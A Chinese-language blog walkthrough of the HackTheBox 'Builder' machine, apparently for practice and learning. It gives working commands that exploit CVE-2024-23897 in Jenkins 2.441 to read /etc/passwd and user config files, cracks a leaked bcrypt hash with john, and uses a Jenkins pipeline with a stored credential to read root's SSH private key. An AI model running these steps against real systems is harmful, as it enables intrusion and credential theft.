HackTheBox-Machines--Builder


Builder测试过程


1 端口扫描


nmap -sC -sV 10.129.230.220

在这里插入图片描述


2 测试思路


系统开启了22和8080端口,22端口无账号密码,测试方向主要从8080的jenkins服务开始测试。
在测试开源系统时,可以下载源代码或本地搭建服务,以便更清楚的了解服务的相关信息。


3 漏洞测试


  1.访问8080端口,应用程序为2.441版本 jenkins
在这里插入图片描述

  2.通过搜索引擎查找相关exploit
在这里插入图片描述

  3.CVE-2024-23897漏洞利用

CVE-2024-23897漏洞详情:https://www.cvedetails.com/cve/CVE-2024-23897/
jenkins-cli.jar工具地址:https://github.com/CKevens/CVE-2024-23897

# 读取/etc/passwd文件
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://10.129.230.220:8080' help "@/etc/passwd"

在这里插入图片描述

#查看users.txt文件
java -jar jenkins-cli.jar -noCertificateCheck -s 'http://10.129.230.220:8080' connect-node "@/var/jenkins_home/users/users.xml"    

在users.txt文件中,发现用户名及附加的随机字符串 jennifer_12108429903186576833

在这里插入图片描述

在jennifer_12108429903186576833用户目录下,存在config.xml文件,保存了用户的密码哈希:

java -jar jenkins-cli.jar -noCertificateCheck -s 'http://10.129.230.220:8080' connect-node "@/var/jenkins_home/users/jennifer_12108429903186576833/config.xml"

在这里插入图片描述

使用john工具破解hash密码:

vim  $2a$10$UwR7BpEH.ccfpi1tv6w/XuBtS44S7oUpR2JYiobqxcDQJeN/L4l1a > hash
john hash -w=rockyou.txt

在这里插入图片描述

  4.权限获取

利用账号密码 jennifer:princess登录jenkins

在这里插入图片描述

  5.权限提升

jenkins 上存储了root用户及密码,但是ssh密钥无法访问,通过创建管道并使用ssh运行命令获取密钥文件:
在这里插入图片描述

使用如下脚本利用Pipeline获取ssh密钥

pipeline {
agent any
stages {
stage('SSH') {
steps {
script {
sshagent(credentials: ['1']) { sh 'ssh -o StrictHostKeyChecking=no root@10.129.230.220 "cat /root/.ssh/id_rsa"'
}
}
}
}
}
}

在这里插入图片描述

在这里插入图片描述

利用ssh密钥登录

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

相关推荐

最近更新

  1. TCP协议是安全的吗?

    2024-04-02 08:38:04       18 阅读
  2. 阿里云服务器执行yum,一直下载docker-ce-stable失败

    2024-04-02 08:38:04       18 阅读
  3. 【Python教程】压缩PDF文件大小

    2024-04-02 08:38:04       17 阅读
  4. 通过文章id递归查询所有评论(xml)

    2024-04-02 08:38:04       20 阅读

热门阅读

  1. react 父子组件的渲染机制 | 优化手段

    2024-04-02 08:38:04       14 阅读
  2. leetcode76最后一个测试用例无法通过

    2024-04-02 08:38:04       13 阅读
  3. SeLinux安全上下文文件

    2024-04-02 08:38:04       13 阅读
  4. C语言函数如何将数组元素作为实参?

    2024-04-02 08:38:04       15 阅读
  5. InitializingBean是什么以及如何使用?

    2024-04-02 08:38:04       15 阅读
  6. Sentinel 的QPS限流和Redis流量风控

    2024-04-02 08:38:04       13 阅读
  7. 观察者模式

    2024-04-02 08:38:04       9 阅读
  8. @TableLogic注解逻辑删除后查已删除数据

    2024-04-02 08:38:04       10 阅读
  9. Stable Diffusion:文字到图像的魔法之旅

    2024-04-02 08:38:04       13 阅读